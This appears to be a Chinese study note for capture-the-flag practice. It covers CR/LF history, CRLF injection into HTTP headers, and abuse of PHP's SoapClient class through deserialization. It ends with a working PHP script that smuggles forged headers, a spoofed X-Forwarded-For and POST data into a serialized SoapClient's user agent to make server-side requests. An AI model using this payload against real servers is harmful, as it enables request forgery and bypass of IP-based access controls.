crlf
/r/n
- \r表示回车,\n表示换行,现在很多语言将两者功能混合了,比如下面这个测试,在js中,\r,\n,\r\n都表示一个换行,而\n\n或者\r\r则表示两个换行
- 关于为什么用CRLF代表回车换行,则要提一下一个历史问题,相信大家在电视上看美国一些老电影的时候都看过打字员使用打字机的场景,当打字到一行尾部的时候,机器会有两个操作,一个是打印的针头会调回到开始处;另一个是打印纸同时会向下移动一行。对于前者就叫做Carriage Return(Carriage Return可以翻译为机器滑动的部分回到开始处)简写即为CR;而后者就叫做Line Feed(Line Feed有行满的意思),简称LF。所以在没有计算机之前,需要同时使用CRLF来表示起一个新行。
- 回车和换行可以看做是两个操作,是两个动词,通过两个动作实现了换行,但是当出现计算机后,我们在写文本文件的时候,就需要在一行的结尾处做个标记来指示该换行了,所以Windows系统就沿用了打字机时代的名词,使用“回车符”+“换行符”表示到达当前行的结尾处。然而在计算机发展的早期存储设备相对昂贵,所以有的计算机专家认为用两个字符(回车+换行)表示行尾过于浪费,所以Unix系统只采用了“换行符”,而Mac系统只采用了“回车符”。
原理
- 在某些情况中,我们可以控制http请求中某些首部字段的值,但是却控制不了另外一些更为重要的首部字段的值,就可以在可以控制的值中恶意添加/r/n来实现换行,同时注入构造的首部字段的值
- crlf与xss的区别在于前者是向报文头部进行换行注入,而后者是向报文主题进行注入
- /r/n转码即%0d%0a
测试
- emmm~本来想拿自己的站试一下的,结果还没弄证书,https的站抓不了包🤣直接cv别人的成功吧
soapclient
原理
- 由于SoapClient原生类中包含__call方法,所以其利用方法为
$client = new SoapClient();//直接序列化$client即可
- 下面就不本地测试了,借用一下别人的结果,直接上结论吧
- soapclient可以控制三个参数,uri是访问ip,一般用来过ip限制,location是目标地址,是什么就填什么,ua则是crlf注入攻击的地方
'uri' => 'http://127.0.0.1/'
'location' => 'http://127.0.0.1/flag.php'
'user_agent' => $ua
- ua则可以利用crlf控制content-type,content-length,xff和post数据(不明白xff和uri有啥区别,最好一起改127.0.0.1),这是因为在报文中ua在这几个字段的上面
(修改前)
(修改后)
- xff,uri,location,ua,cookie,post这些值要改都好说,而content-type要改显得没啥用,事实上,Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded),所以需要改一下,并且content-length限制了post传参的长度,随便改大一点即可(应该吧?)
脚本
- 明白了原理,那脚本也是很容易出来了
<?php
$target = 'http://123.206.216.198/bbb.php';
$post_string = 'a=b&flag=aaa';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type:
application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.
(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "127.0.0.1"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
?>